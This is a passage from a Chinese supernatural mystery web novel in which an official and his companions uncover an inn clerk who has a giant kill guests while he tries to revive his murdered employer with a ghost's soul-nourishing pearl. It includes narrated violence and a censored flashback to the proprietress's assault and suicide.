刚好,这葛镇后面大山环绕,说是野兽所为,也不至于太过荒谬。
至于一个女子失踪案?
那更加不必上报或理会。
任风玦看了十三一眼,问:“在你晕倒期间,你们店内其他人,难道就没有任何发现?”
十三声音冰冷:“一群贪生怕死的不义之人,在发现店内出事后,第一时间就跑了。”
“连喊他们去报官,他们都说太晚,衙门不想管。”
“不过,后来我想想,这话确实也对,就算去到官府,他们又怎会管我们死活呢?”
余琅本想说些什么,却欲言又止。
他虽知道每个衙门都有衙役日夜当值,但以他们对待**案的态度,夜里遇到这样的报案,必然也难在第一时间赶到现场。
任风玦继续道:“所以,没人知道当时的现场发生了什么?”
“没有。”
“你们掌柜就是在那时失踪的?”
“是。”
“你确定,从那之后,你都没有再见过她?”
这话让十三明显顿了一下,但他随即却斩钉截铁地回道:“没再见过。”
任风玦深深看了他一眼,故意一字一顿地说道:“那本官有理由怀疑,那九人,为你们掌柜所杀。”
十三立即怒视他:“那九人个个血肉模糊,是被撕咬啃噬而死,我们掌柜只是一名身量娇小的弱女子,她如何有力气能将九个大汉咬死?”
任风玦反问他:“那你可有去找她?”
“找不到。”
“但你前面说过,是掌柜让你守店,你也答应了要在此等她回来,这番话,又是何时说的?”
十三似乎有些惊讶对方居然能清楚记得自己所说过的话。
他微怔,才道:“忘了,在没有发生此事之前,我就答应过她,会与她一同守着店。”
任风玦点了点头,却道:“好了,该问的都问了,此案我会继续查下去,你忙去吧。”
十三又愣了一下。
对于他所说的话,似乎有些难以置信。
然而,就在这时,楼上却传来喊骂声:“老子要热水泡澡,你现在就去准备!”
随着一道响亮的关门声,那仆人灰不溜秋地下了楼。
他走到十三跟前,又恭敬行了礼,才问:“伙计小哥,劳烦告知一下,若是需要热水的话,我可否自己去烧?”
十三见他左右脸上各有一道清晰掌印,料想刚刚应该是又挨了打。
他似乎有些于心不忍,说道:“你跟我来吧,我带你去。”
“有劳了,多谢!”
见十三领着仆人去了后院,余琅迫不及待就向任风玦说道:“大人,您说这伙计,有没有可能撒谎?”
任风玦看了他一眼,故意摇头:“不知,你觉得呢?”
余琅道:“刚刚您也说了,他前言不搭后语,很多话都像是临时编的。”
“我看他,嫌疑才是最大的。”
任风玦微微点头。
现下,他们所听到的,都只是一家之言。
具体的,还得去一趟县衙了解情况,才能确保他的话,能不能对得上。
十三口中所说的黄玉琼若是没
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死,她又能躲到哪里去呢?
此时的夏熙墨也在听无忧在耳旁絮叨:“这客栈内,一缕魂都没有,要是真**那么多人,也不应该会这么干净吧?”
它话音刚落,便听见一旁的颜正初也跟自己说了同样的话:“**那么多人,怎么会一缕魂都没有?”
无忧:“……”
夏熙墨道:“不如想想,赋楼鬼物又为何会出现在此处。”
颜正初立即道:“我觉得也是,那白轻霜肯定不会无缘无故出现在这里,她分明是故意想将我们引到这里来——”
“借刀**。”
四字落下,雷声又起。
紧跟着,楼上竟传来一道撕声裂肺的叫喊声。
众人相视一眼,立即便往二楼赶去。
楼上,只有一间客房内亮着灯,正是那廖二爷所居住的房间。
阿夏先一步上前去,一脚将房门踹开,却吃了一惊。
“公子…”
任风玦走近一步,只见廖二爷倒在地上,已是血肉模糊,死状确实如同被野兽撕咬过。
与惨死在“地字号”房的那缕鬼魂,完全一致。
可方才他们明明就在楼下,除了那一声惊叫之外,并未听到任何动静。
杀他的到底是什么?
见到这幕,颜正初再次承受不住冲击,趴在一旁栏杆上干呕。
“余琅,你与阿夏里里外外四处看看!”
任风玦吩咐了一声,当即进室内查看情况。
身后,夏熙墨忽然拉住颜正初的衣服,也将他往房间内带。
“喂喂喂,你这是做什么?”
被迫进入房间的颜正初,望着那血淋淋的尸体,转身又要走,却被夏熙墨冷冷瞪了一眼,“站着。”
见状,他也毫不客气回瞪了过去:“你要干什么?”
夏熙墨:“人刚死,还未有魂识。”
听了这话,颜正初倒立即明白了她的意思。
人虽是救不活了,但魂魄必然还在,也是一条线索。
他忍着胃里不适,立即在尸体上施了一个聚魂咒,只见一道虚弱的魂魄,**在尸体上方,却并无意识。
见状,他又拿出那只从南川院讨来的八卦玉葫芦,直接将魂魄吸了进去。
第130章 夺命
室内窗户紧闭,通过上方堆积的灰尘,能看得出,窗门并未被开启过。
而室内摆设,如橱柜,桌椅,床榻,除了这廖二爷使用过的痕迹之外,再无其他。
他是被什么东西咬死的?
难道是恶鬼所为?
任风玦回头问颜正初:“道长,此处可有恶鬼踪迹?”
才收了魂魄的颜道长将玉葫芦拿在手里摇了摇,闻言,十分笃定摇头。
“此处没有阴煞之气,若是白轻霜的话,我的罗盘也一定会有所感应。”
白轻霜这只恶鬼很特殊。
她化形后与人无异,身上的阴煞之气很淡,也不知是用了什么方法遮盖住了气息。
是以,比起一般鬼魂,她的踪迹尤其难寻。
他将玉葫芦凑到耳边,又道:“这廖二爷的魂魄还处于混沌之中,估计一时也难从他那里问出什么…”
任风玦闻言,心里也无其他头绪,只能继续在房内寻找踪迹。
而这时,门外传来急促的脚步声,是方才下楼烧热水的仆人去而复返了。
他手里提着热水桶,走到门边时,见到室内情形,吓得一桶水都撒在了地上。
“二爷?”
仆人惊慌失措进了房内,望着地上尸体,似乎十分难以置信,“二爷他…怎么成了这样?”
眼见他哭得伤心,换作旁人,必会觉得他们主仆情深。
可在场几人,都曾在楼下见过这廖二爷一言不合就对他打骂的样子,心下不免疑惑。
世上当真有这样愚忠的仆人?
任风玦不动声色将这仆人的一举一动收入眼底,问道:“方才你下楼烧水之前,这房内是什么情形?”
仆人抹着眼泪,如实回道:“下楼之前,小人给二爷脱了鞋袜,挂了衣裳,扶他躺在榻上,这才出门下楼去。”
“可是…这才一会儿功夫,怎么会发生这样的事情呢?”
他说着,一脸懊悔,跪在地上重重磕了几个响头。
任风玦见他的额头叩在血水中。
是刚刚撒在地上的水,混着廖二爷的血迹,正往房间的最低处流淌。
而这时,望着那血水流动的方向,他忽然发现角落内有一大块地板,明显要低于其他处…
一旁夏熙墨突然冷不丁防地问:“**这样的主子,你应该庆幸解脱吧?”
那仆人磕着头,听到这样的话,竟然恼了。
“这位姑娘,我家二爷尸骨未寒,你怎么能说出这样的话呢?”
夏熙墨冷冷一笑,“我只是不信,这世上会有人,对天天打骂自己的人心怀感激。”
“这种人,要么是蠢,要么,是假。”
“但看你的样子,应该是后者。”
仆人面色瞬间沉了几分,也不知是恼怒对方出言不逊,还是因为被戳中的心思。
这时,余琅与阿夏也赶到了房门前,向任风玦报道:“大人,整间客栈里里外外都查看了,并没有任何其他发现。”
房内,任风玦已经走到角落处,见血水恰好**于此,刚好洇出了一道“暗门”。
他招手让余琅进来,指着那一处角落,说道:“你现在去旁边那‘地字号’房间仔细看看,是否也有一处地板,是这样的。”
“若是看不出来,就撒点水下去。”
余琅领命前去,任风玦又吩咐阿夏:“去看看,那伙计十三是否还在。”
大概小半刻钟后,两人相继回来禀告。
余琅:“大人,除了‘地字号’房,连带着这旁边的几间房都看了,有三四间,都是如此。”
阿夏:“公子,整间客栈找过,都不见十三的人影。”
余琅当即怒道:“好小子,就知道他肯定有问题!”
“大人,料想这个时辰,他也跑不远,我现在就去追。”
任风玦却将他的去路一揽:“其实也不必追。”
“为何?”
“他一定还在这间客栈。”
“什么?”
余琅与阿夏均有些疑惑。
任风玦却看了夏熙墨一眼,说道:“方才夏姑娘的那番话,我想了想,也十分认同。”
说着,他却慢慢走到那仆人跟前,问道:“你确定,你对廖二爷之死,一无所知?”
那仆人见一双双眼睛盯着自己,便哆嗦了一下,连忙道:“我真不知道啊,我刚刚下楼去烧水,你们也看到了!”
“而且,我刚刚提水上来的时候,那伙计小哥就在后院厨房内!”
任风玦冷冷
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一笑,“现在交代的话,本官可以不追究你的责任,但若是让本官查出,你与这店伙计勾结…”
此言一出,那仆人瞬间明白了什么,连忙跪在地上叩头不止。
众人看在眼里,就知道这里面必然有隐情。
“大人饶命,小人并没有与伙计勾结,小人只是…”
见他支支吾吾一副难以启齿的样子,余琅也跟着恐吓道:“难道还想说谎话诓骗我们不成?赶紧说!”
仆人被吓得一激灵,这才承认了。
“小人确实早在来之前就听说了这间‘夺命客栈’,但小人与这伙计,确实是第一次见面,谈何勾结?”
余琅皱眉:“什么‘夺命客栈’?”
仆人瑟瑟扫了一眼四周:“还未进鄢县时就听说了,这间客栈半年之内,已陆陆续续**很多人,且大多都是前往京城的行商…”
“于是,这才有了‘夺命客栈’的说法…”
“他们都在传,说是这客栈内冤死的老板娘,在向这些人索命。”
余琅一听就明白了,却故意问他:“既然听说了这间客栈发生过命案,还带着你家主人住店?究竟是何居心?”
仆人心虚垂下眼帘,再看那廖二爷惨死的尸身,似乎心情复杂。
最终,他还是咬着牙齿狠狠开了口:“确实如这位姑娘所言,我心里…很恨廖二!”
“来的路上我就想过,要是他能死在这间客栈内,我就解脱了…”
“但我也害怕自己的小命交代在这里。”
任风玦开口道:“那又是谁给了你这个胆子进这间客栈?”
仆人面露一丝迷惘,说道:“我…做了一个梦。”
“梦里…有个女子跟我说,只要进了这间客栈,住进客房,廖二将必死无疑。”
任风玦表示怀疑:“真是梦?”
“千真万确。”
仆人接着道:“那个梦很古怪,我看到眼前有很多烟雾…却看不到人影,只能听到声音,而且我记得,我当时是在赶车,并没有睡觉。”
“但等我‘醒’来过后,我就已经赶着车子,来到了葛镇。”
“而恰在这时,又下了暴雨,一切都显得顺理成章,我还以为,是老天爷在帮我。”
第131章 井底
听完仆人的阐述,众人大致也就明白了。
引他来此的,多半就是白轻霜。
而她这么做的主要目的,应该也是想借着这客栈诡事,绊住他们。
外面的雨,还在下个不停。
仆人交代完整件事情的经过后,身上仿佛泄了力一般,瘫坐在地上,一副听候发落的样子。
余琅本想说几句什么,但想到那廖二的品性,也欲言又止。
仆人这招“借刀弑主”固然阴险可恨,那廖二又念及过什么主仆之情?
这时,颜正初忽然摇了摇手里的玉葫芦,并用手指了指地下。
“这廖二的魂魄说,怪物是从地底下钻上来的。”
这话也算是证实了任风玦心中的猜测。
根据这间客栈结构,此时他们脚下所处的地方,应该就是后院的哪一间房。
“下去后院看看究竟。”
一行人随即下了楼,来到后院,并迅速找到了廖二那间客房下的屋子。
但房门是敞开着,门口处有一排清晰的血脚印。
根据脚印朝向,以及血迹的深浅,可以看得出,是刚刚印上不久的。
余琅用自己的脚,在上面丈量了一番,更是吃了一惊。
“这看着像是人的脚印,也未免太过大了吧。”
脚印起码是他的一倍。
也就是说,这人的身量,至少也得在六尺以上。
“难道,这客栈真有野兽不成?”
任风玦没说过,从阿夏手中拿来风灯,循着脚印一路望进雨幕中。
视线最终锁定在院中的那口井上。
他又向阿夏吩咐:“先去马车内,将那捆长绳拿来,另外再拿两盏风灯。”
阿夏虽不解其意,但还是立即去了。
待绳子拿来后,任风玦才向众人道:“过去那口井边看看。”
与他预料中一样,井是枯的。
井口十分宽阔,也不知原本是作什么用途。
井四周还有一点血迹,没有被雨水冲刷。
以此可以看出,刚不久,才有人下去过。
阿夏看一眼就明白了任风玦的用意,用绳子系了一块石头,慢慢放下了井。
确认了深浅之后,他才第一个跳下井。
接着是余琅与颜正初。
任风玦看了夏熙墨一眼,才稍微犹豫了一下,对方竟直接纵身一跃,先他一步跳了下去。
“……”
井下果然别有洞天。
风灯略微闪烁了一下,却没有熄灭,并照出了一条幽深宽阔的甬道。
任风玦仔细照了一下脚下的路,见地上脚印深深浅浅,却十分杂乱。
不过,细看之下,其中有一道脚印,属于正常人类的脚印,基本可以断定为客栈伙计——十三。
余琅道:“没想到小小客栈,竟还藏了这么一处地方。”
跟在他身后的颜正初,也皱了一下眉头:“我也没想到,这井内阴气重得很,里面应该有鬼魂。”
闻言,余琅立即顿足,笑了笑,“那还是颜道长走前面吧。”
颜正初却跟着顿足,正想调侃他两句,后面的夏熙墨却面无表情地从他们身旁擦肩而过。
余琅干笑一声:“还得是夏姑娘。”
走过甬道,视野逐渐开阔,却是一座山洞。
众人这才想到,这琼影客栈所处的位置后面,就有一座山。
只是没想到,院中深井,居然能直接通往后山。
难道,咬死廖二以及那些住客的,真是山中野兽不成?
任风玦轻蹙了一下眉头。
然而,就在这时,山洞内却传来低啸之声,果真像是什么野兽在对众人发出警告。
“小心。”
任风玦握住腰上剑柄,蓄势迎敌。
只是,一声低啸过后,却只闻一阵阴恻恻的笑声。
“没想到,你们真有胆子,能跟到这里来。”
余琅听出了是十三的声音,斥道:“我就说猜得没错吧,客栈内的事情,果然都是你这伙计搞的鬼!”
十三只是冷笑:“都是一些死有余辜之人,难道我杀错了吗?”
任风玦一边环视四周,一边说道:“十三,半年前的那支商队,一共九人,是你杀的吧?”
十三不屑冷哼了一声。
任风玦又继续道:“那让我再猜一下,客栈的老板娘并不是失踪,而是已经死了,对不对?”
“闭嘴!”
这话却让十三震怒,他立即吼道:“她没有死!她会回来!”
随着他一声怒吼,尾随而至的,竟是一声震耳欲聋的吼叫。
众人不由得揉了揉耳朵。
阿夏脸色微变,低声道:“公子,这里面真有…”
任风玦却抬手示意了一下,并轻轻摇头。
只见十三继续说道:“我原本打算留你们一条性命的。”
“要是你们看到廖二的死,知难而退,离开这间客栈,一切也就相安无事。”
“但你们非但不走,还要找到这里来,根本就是自寻死路!”
话音刚落,却听见一声诡异的笛声响起。
紧接着,一道身躯巨大的黑影,从高处降了下来,震得众人脚下微微踉跄。
阿夏与任风玦同时抬起风灯,只见距离他们不到一丈的位置,正伫立着一个“巨人”。
余琅立即后退了几步,向颜正初问道:“道长,那是什么妖魔鬼怪?”
颜正初也被这阵势唬了一跳,他拍了拍胸口,却反问了一句:“这家伙还是人吗?”
虽为人形,身量却足有六七尺那么高,长臂粗壮,生得青面獠牙,哪有半点人的样子…
随着诡异笛声催促,那“巨人”开始一步一步向众人逼近,双腿似有千斤重,每走一步,便发出沉闷声响。
任风玦见状,立即道:“快些分散!”
而随着他话音落下,那“巨人”抬起双手,毫不留情就朝他们挥了过来。
烟尘四起,足见这一击,力道惊人。
好在各自反应敏捷,左右分散,险险避开,却也难免落得个灰头土脸。
只是,还未得以喘息片刻,便迎来了第二击。
但此时的众人,已分为两拨,“巨人”只能选择朝着一边人攻击。
余琅才用手扇了扇尘土,抬眼即见“巨人”朝着自己这边袭来,吓得他与颜正初只能边躲边闪。
“颜道长,你快快想办法啊!”
“我只会抓鬼,遇到这种,我有什么办法?”
“你随便画道符咒啊!”
“……”
另一边的任风玦护着夏熙墨后退了几步,他知晓,想要制住这“巨人”,只有先制住暗处的十三。
于是,他悄悄将风灯给了夏熙墨,便循着笛声方向,慢慢靠了过去。
第132章 巨人
随着“巨人”一击比一击迅速凶猛,余琅与颜正初也是越躲越狼狈。
阿夏见状,将手中灯放到一旁,从腰间拔出一把短刀。
他一个利落翻滚到“巨人”脚边,看准了时机,快速朝着它的小腿刺去。
哪知这用尽全力的一刀,于它而言,根本如同挠痒痒。
“巨人”只是一声低吼,一脚便将身侧之人踹飞了出去。
阿夏摔在地上,猛然吐出一口血。
余琅见状正要上前,那“巨人”却是一点机会都不给,伸手就将阿夏从地上拎了起来。
这样大的体型差距,使得它根本不费吹灰之力,简直如同拎小鸡。
余琅心急如焚,也顾不得自己是否能帮上忙,上前对着那“巨人”便是一阵拳打脚踢。
可利刃都奈何它不得,更何况是拳脚?
“巨人”不但毫发无伤,甚至,对于余琅的行为,也根本不予理会。
它擎着拼命挣扎的阿夏,猩红的眼睛里,闪着嗜血的光。
然而,就在它张开大嘴,露出獠牙,想要撕咬“猎物”时。
忽然间,如同被点住了周身穴道一般,浑身僵住。
阿夏在它张嘴的那刻,心下已是一阵绝望。
但预想之中,被活活咬死的痛苦,并没有到来。
那“巨人”居然松开手,放下了他。
余琅见状,立即扶着阿夏后撤,回头却发现颜正初正躲在旁边的小石洞内,朝着自己招手。
他不禁感到疑惑,忙问颜正初:“道长,刚刚不是你出手了吗?”
颜正初托了受伤的阿夏一把,闻言也疑惑:“对付鬼怪邪灵我在行,这可是猛兽啊!”
“你可别指望我那把玉剑,能削下它的脑袋!”
余琅与他合力,将阿夏抬进了石洞内。
阿夏缓了一下,才有力气开口说话,却忍不住问:“道长…那怪物的身形,明明像是人,却为何生得这般巨大,且如此嗜血残暴?”
颜正初想了想:“我以前倒是听师父说过,北境有一种巨人奴,人称‘狄奴’,是镇北侯江霆当年驻地北境时,从一处深山内捕捉来的…”
“但据说,这些‘狄奴’也只是身形巨大一些,经过驯服之后,渐渐食五谷杂粮,能通人语,不会无故伤人。”
“但这怪物,却与野兽无异,根本一点人性都不通…”
余琅忍不住朝外看了一眼,见“巨人”虽暂时立在原地不动,却不知任风玦与夏熙墨处境如何。
他不由得隐隐担心:“任大人和夏姑娘还在外面…”
颜正初却道:“放心,小侯爷的身手,比我们还好,至于夏姑娘…”
命格奇怪不说。
还一次次死而复生,说不出来的诡异。
就好似…那阴曹地府里有她的靠山似的。
根本轮不到旁人来担心。
余琅听他话说一半,忍不住道:“夏姑娘又怎么了?”
颜正初含糊道:“小侯爷说她吉人自有天相,地府都不收她。”
“……”
瞧瞧,这是人说的话吗?
余琅暗自腹诽,又竖着耳朵听了又听。
笛声已不知在何时停了下来。
四下静谧,他却忽然听见“喀嚓”一声响,类似于骨头碎裂的声音。
这声音,在寂静之中,听起来尤其惊悚。
一声过后,又是一声,跟着,是一叠声!
余琅脸色大变:“道长,你仔细听…有怪声!”
颜正初当然也听到了。
他也是大气不敢喘,这声音令人寒毛直竖,有种揪人心弦的压迫感。
脑海中甚至不由得浮起一幅画面…
浑身上下的骨头,在一寸寸碎裂。
想到这里时,却听到一声巨响,竟是那巨人轰然倒塌在地。
石洞内三人,虽及时捂住了口鼻,却也不可避免被呛了满脸的灰。
余琅忍不住剧烈咳嗽起来,他边咳边问:“道长,刚刚的声音,是从那怪物身上发出来的吗?”
颜正初已迫不及待想出去看看情况。
他小心翼翼出了石洞,朝着地上的“巨人”靠近了几步,见对方依然一动不动,这才壮着胆子又靠近了几步。
可这时,“巨人”猛然睁开那双猩红的眼睛,瞪了他一眼。
颜道长被吓得一屁股跌坐在地上。
“怕什么?”
一道清冷的女声忽然从旁边响起,又吓了他一跳。
“夏姑娘!”
颜正初拍了拍胸口,见那“巨人”仍只是干瞪着眼睛,那张令人惊惧的脸上,却满是痛苦之色。
夏熙墨缓步从它身旁走了过来,再站在他面前时,多少有点居高临下的意思。
颜正初正茫然,想到自己的窘态,又赶忙从地上站起来,问她:“这怪物…”
话未说完,却见一道人影飞快扑到了“巨人”跟前来,大声喊道:“十四!你怎么了!你们对十四做了什么?”
原来竟是一直躲在暗处的十三。
他见“巨人”倒在地上动弹不得,一时之间,又是惊慌,又是悲愤。
不远处,任风玦对于这边的动静,亦感到惊诧。
方才,他循着笛声方向找到了十三,于他而言,对付一个不懂武功的伙计,自然是不费吹灰之力。
他轻而易举制住十三,并夺走了他手中那支短笛。
原以为,这样就能牵制住“巨人”。
怎料十三冷冷一笑,说道:“十四一旦杀红了眼睛,谁也拦不住他!”
果不其然,余琅那边的动静并未消停。
“巨人”还在持续发起着攻击。
任风玦隐隐忧心,却仍觉得“破解之法”一定在十三身上。
“十三,你当初操纵这怪物杀了商队九人,本意就是为了替黄玉琼报仇。”
“既然大仇得报,后面为何又要杀那么多人?”
听到黄玉琼的名字,十三面上果然有一丝触动。
但随即,他那张阴柔而带着一丝邪气的脸上,忽然浮起一抹诡笑。
“我杀的都是罪有因得之人,既然你们官府管不了,我来替你们管,你们应该感激才对。”
任风玦并没有驳他,只反问:“你杀他们,难道单单只是因为他们该死?”
“不对吧?”
“一定还有其他原因,且这个原因,与黄玉琼的死有关,对不对?”
十三正要说些什么,却听见山洞内传来一身巨响,他回头望去,竟见十四轰然倒在了地上。
第133章 十四
此时,十三扑在那“巨人”身前,嘴里不停喊着“十四”,直教众人一头雾水。
那十四躺在地上不能动弹,听见十三的声音,却低吼着回应他。
看得出,这一人一“怪”之间,竟有着十分浓厚的感情。
任风玦跟着十三走过来,见“巨人”倒在地上,不由得向颜正初看了一眼。
但从对方略有些怔忡的眼神中,可以看得出,此事好似与他无关…
而余琅与受伤的阿夏更不必说。
唯有夏熙墨,依然面不改色,对此淡然无波。
任风玦心中飞快闪过一丝疑虑。
但很快,他又将重心,转移到了十三的身上。
颜正初因想到十三曾说过,自己的名字为琼影客栈老板娘黄玉琼所取,忍不住道:“你喊这怪物为‘十四’?该不会…”
“你闭嘴,十四不是怪物!”
十三恶狠狠瞪了他一眼。
颜正初却继续道:“它嗜血凶残,毫无人性,就算不是‘怪物’,也绝非人类!”
这时,一直不做声的夏熙墨,忽然开口了。
“他原本确实应该是人。”
“如今成了半人半兽,应该是拜你所赐。”
闻言,十三顿住了,神情更是复杂。
方才在客栈内,他就发觉了这女子不简单。
她难道还知道一些什么?
其实,夏熙墨并不知道。
只因渡魂灯内的无忧,一直在滔滔不绝,她才从中知悉一二。
“早在一百年前,北境神山内是有‘巨人族’的,他们生长在丛林之中,不与外界往来,虽具有野性,却也很规矩。”
“这‘巨人族’的平均寿命长,却不易繁衍,所以,时日一久,人数也就越来越少。”
“眼前这巨人应该就是出自于曾经的‘巨人族’,不过他双目猩红,又如此嗜血残暴,想必是受了什么东西刺激所影响…”
听到这里时,夏熙墨心里其实有了一个答案。
赋楼鬼物当然不会无缘无故出现在这里。
她与这十三之间,也必然有着什么关联才对。
“而且,你只是把他当作**工具,又哪里当他是人?”
夏熙墨的话,让十三又是一怔。
他似乎想为自己辩解:“我与十四的感情,你们这些人又怎么会懂?!”
夏熙墨微微冷笑:“你不许旁人说他是‘怪物’,却任由他活得像个怪物?”
“就是!”
余琅立即附和道:“夏姑娘说得对,我们初到客栈时,你自己也说了,店内有**的怪物。”
“论‘怪物’一词,还是从你自己口中说出来的吧?”
十三看着不能动弹的十四,心里像是涌起了愧疚之意。
可随即又见他目露凶光,自袖手中抽出一把**,就朝着夏熙墨扑了过去。
任风玦一直盯着他的动静,此时见他的目标竟是夏熙墨,几乎想也不想便拔出腰间长剑,朝着十三斜刺了过去。
利刃出鞘时,剑光在众人眼前一晃而过,下一秒,便听见十三痛呼了一声。
**落地,他捂住血流不止的右臂,跪在了地上。
余琅随即上前补了一脚,并将他狠狠踩在地上:“你这贼人,竟敢偷袭!”
十三的脸紧贴着地面,却依然嘴硬:“要杀要剐,随便你们,多说什么废话?”
“嘿!还嘴硬!”
余琅脚下一沉,更加用力,踩得十三几乎喘不过气来。
“余琅。”
任风玦见夏熙墨无事,便出声制止了他。
想到自己刚刚的狼狈模样,余琅原本还想再教训他,但任大人发话,也不能不听,当即又补了一脚,这才退到一旁。
十三挣扎着从地上爬起来,吐了一口血水后,又缓缓靠到了十四身侧。
任风玦则慢慢走到他身旁,蹲了下来。
“十三,事到如今,还不肯说实话吗?”
“黄玉琼是死是活,还是失踪?”
“这个十四又是怎么回事?”
十三伸手抚了抚十四脸庞,嘴角浮起一丝笑意:“我的名字是玉琼姐取的,而十四的名字,是我取的,我没有家人,他们便是我的家人。”
三年前,黄玉琼从路边捡回一名受伤的小乞丐,取名为十三。
开下琼影客栈后,便收十三为伙计。
客栈院内的枯井,井口较之一般的井
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,要宽阔许多,用一块石板压着。
十三干活之际,总能听见井下传来奇怪声响。
他胆子大,搬开石头,本想一看究竟,却被一只脑袋从里面伸出来后,吓得屁滚尿流。
那是一名身形较之常人,要高出一倍的“巨人”,一双眼睛却纯澈无害。
看得出来,他并没有害人之心,只是瞪着一双眼睛,观察四周,还有自己面前的这个人。
十三见他并不打算从井中出来,也没有其他举动,便也逐渐放下戒备。
他试图跟他说话,却发现对方根本不通人语。
于是,十三突发奇想,拿来客栈内的食物,扔进井中投喂他。
这巨人食量大,却几乎什么都吃。
黄玉琼爱干净,因此客栈内并未饲养过任何的鸡鸭牲口,后厨内不要的剩饭剩菜,也算有了别的用处。
巨人虽然生得巨大,却十分怕生,他能通过脚步声来分辨,靠近井边的人是不是十三,从而决定,要不要出声回应。
十三一直没有什么朋友,他却由衷喜欢这位巨人“朋友”,一些不敢说的心里话,也会同他讲。
甚至,给他取名为“十四”。
他对十四说,玉琼姐说再攒一些钱就带他去京城里讨生活。
这事虽然令他高兴,但如此一来,他与十四就要分开了。
十四不会说话,只会瞪大一双眼睛,无辜望着他。
十三知道他也舍不得自己,便向他承诺,只要在京城里站稳了脚,就会想办法将他也接过去。
时间一天天过去。
一年,两年,眼见就要到第三个年头。
十三以为,自己所向往的好日子,就要越来越近。
可谁承想,在那个夕阳似血的傍晚,随着一支商队的到来,直接踏碎了他们一直以来,所憧憬的美梦。
黄玉琼**。
十三并没有被打晕,他只是头破血流,毫无反抗之力地倒在地上,被迫听着这九个禽兽的污言碎语,眼睁睁望着他们,对自己一直以来敬重爱护的“玉琼姐”所施下的**。
外面是浓墨一般深沉的夜色,十三却知道,自己的世界,再也不会亮了。
第134章 炼鬼
“你猜得没错,玉琼姐在那个晚上就**。”
“她是不堪其辱,**身亡的。”
“明明她那么怕疼,却一头撞在了墙上,流好多好多的血…”
当时,见闹出人命,那几个行商多少也有些害怕。
那大当家却朝着尸体啐了一口,骂道:“真**晦气啊!”
外头传言,这寡妇“风骚入骨”,是个来者不拒的“浪荡货”。
他们骂她不知廉耻,简直比花街柳巷里的**,还要花样多。
说得那样传神,好似真的亲身经历过一番。
可事实真是如此吗?
人就这样猝不及防地**。
大当家隐隐着急。
二当家立即来出主意:“大哥别怕,咱们在鄢县衙门里有些人脉,只要花点钱,这件事情,必然能摆平。”
大当家却狠狠踹了他一脚,说道:“到底是谁听了那些风言风语,说这娘儿们能上?”
二当家含糊其辞:“外头不都这么传嘛…”
“传传传,传你娘个头!”
二当家被连踹了几脚,转头看了一眼躺在地上,瞪着眼睛的伙计,忽然间有了主意。
“大哥,我瞧着这伙计贼眉鼠眼,多半居心不良!”
“咱们等天一亮,就将他扭送去官府,就说他…觊觎客栈老板娘美貌,欲要行不轨之事,刚好被咱们哥儿几个撞见!”
他说得煞有其事,旁边几人都跟着附和:“二哥说得对,去了官府咱们就这么说!”
大当家这才舒展了一下眉目,咧着嘴角一笑,“你小子,够缺德啊!”
众人哄笑一片。
十三倒在地上,恨得牙齿都要咬碎。
他发出怒吼,院中枯井内,十四仿佛感应到了他的情绪,也张口回应了他。
这一声声低吼,让“地字号”房内众人,不禁感到恐慌。
大当家道:“这声音,莫不是山里的野兽?”
他话音刚落,院内便传来巨大的声响,那动静听起来,确实像是山中野兽。
二当家忍不住凑到那窗边朝外看了一眼。
只一眼,差点魂飞魄散。
“大哥!是…”
话未说完,室内忽然飘进一缕白烟,门窗倏尔紧闭,众人发现不对劲时,却已经被困在房中出不去了。
一道女子的声音,忽然在他们耳边响起,只有四个字——**偿命。
只听见一道沉重的声音越来越近,越来越近…
紧接着,一个足有六尺高的巨人,徒手推毁了房门,如山一般,堵在门前,让所有人都无处可逃。
十三一眼望去,不由得惊叫一声:“十四!”
十四听见他的声音,又发出一声怒吼。
他双目不知为何变得猩红,抓起那大当家便直接用嘴撕咬,这一举动,让其他人看在眼里,简直要吓破了胆。
房内一片混乱,在一声声撕心裂肺的凄惨叫声之中,商队九人,一个接一个倒下。
无人逃出,无一幸免。
整间“地字号”房内血流成河。
十四的身上,亦被鲜血浸染,他凶残的样子,让十三感到害怕。
可就算杀红了眼,他也只是在十三面前温顺地蹲了下来。
十三浑身一震,入眼的鲜红,与刺鼻的血腥,让他在麻木的同时,竟还感受到了一丝快意。
望着地上零零碎碎残缺的尸首,他放肆大笑。
而这时,他听见一道柔媚的声音,在耳旁轻声说道:“想让她活过来吗?我可以帮你。”
如今,再回想起那句话,十三的眼底,仍会闪着一点希冀的光。
“我当然想让她活过来啊!”
“我甚至想…不用等着攒够银钱,我只要她活着就行!”
颜正初却正色道:“那你可知,跟你说这话的东西是什么?你就信了她的话?”
“我当然要信!”
十三无比坚定:“只要能让玉琼姐活过来,我不惜付出一切代价!”
“世间哪有什么让**活过来的方法?”
颜正初冷哼一声:“你倒是与本道长说说,那鬼物究竟说了什么鬼话诓骗你?”
十三顿了一下,才道:“她给了我一颗珠子…”
“养魂珠!”
颜正初也跟着咬牙切齿:“果然让我猜中了!”
不等十三继
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续往下说,他又道:“这客栈老板娘含恨而死,本就怨气冲天。”
“白轻霜必然是让你‘以珠养魂’,而那些在客栈内惨死之人的魂魄,刚好可以用来滋养冤魂…”
“她的用意,根本不是为了让老板娘活过来,而是要让她成恶鬼邪灵,为自己所用。”
十三怔然,他摇了摇头:“你骗我!”
“我骗你有什么好处?”
颜正初瞪了他一眼:“你可知,黄玉琼一旦成了恶鬼邪灵,可就连轮回转世的机会都难得了。”
“你这可不是救她,而是害她!”
此言一出,十三几乎目眦尽裂:“我不信你说的!”
“若是不信,你可以继续这么做。”
夏熙墨在一旁冷然开了口,“后果,你能承受得起?”
十三只觉得浑身血液都像是冷了下来。
他忽然不知从哪儿来的力气,猛然从地上起身,踉跄着朝山洞深处跑去。
众人相视一眼,也相继跟上。
阿夏因受了伤,任风玦让他留在原地暂且不动。
那“巨人”十四躺在地上不能动弹,眼睛却望着十三远去的方向,发出了一声低鸣。
山洞内一片昏暗,十三一路发足狂奔,显然对于这洞内情形,了如指掌。
紧跟在他身后的,是余琅与颜正初。
夏熙墨倒是不紧不慢跟着,任风玦只得缓下脚步,有意无意与她保持着不近不远的距离。
转眼之间,十三来到了山洞深处的一间小石洞内,只见洞中石床上,竟摆放着一具女尸。
余琅乍然望去,连忙停下脚步,让颜正初走在前面。
颜道长一眼就看出了那女尸口中衔着珠子,而周身阴煞之气环绕,果然是用了最阴邪的法子炼制恶鬼。
他赶忙上前,对十三说道:“好在大错尚未酿成,还有补救之法…”
说着,轻轻抵住女尸下颚,正要从她口中取出养魂珠。
然而就在这时,一阵强劲的阴风从洞口吹来,跟着飘入一缕白色轻烟。
颜正初怀中罗盘立即有所感应,可下一秒,床上女尸竟缓缓睁开了眼睛。
第135章 行尸
